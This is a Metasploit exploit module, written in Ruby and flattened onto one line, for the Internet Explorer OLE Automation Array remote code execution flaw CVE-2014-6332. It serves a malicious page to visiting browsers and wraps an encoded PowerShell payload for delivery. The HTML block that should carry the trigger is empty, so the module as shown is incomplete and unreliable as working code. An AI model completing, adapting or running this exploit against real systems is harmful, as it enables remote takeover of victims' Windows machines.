## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "Windows OLE Automation Array Remote Code Execution", 'Description' => %q{ This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability. Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'IBM', # Discovery 'yuange ', # PoC 'Rik van Duijn ', #Metasploit 'Wesley Neelen ' #Metasploit ], 'References' => [ [ 'CVE', '2014-6332' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'EXITFUNC' => "none" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "November 12 2014", 'DefaultTarget' => 0)) end def on_request_uri(cli, request) payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) payl.slice! "powershell.exe " html = <<-EOS EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end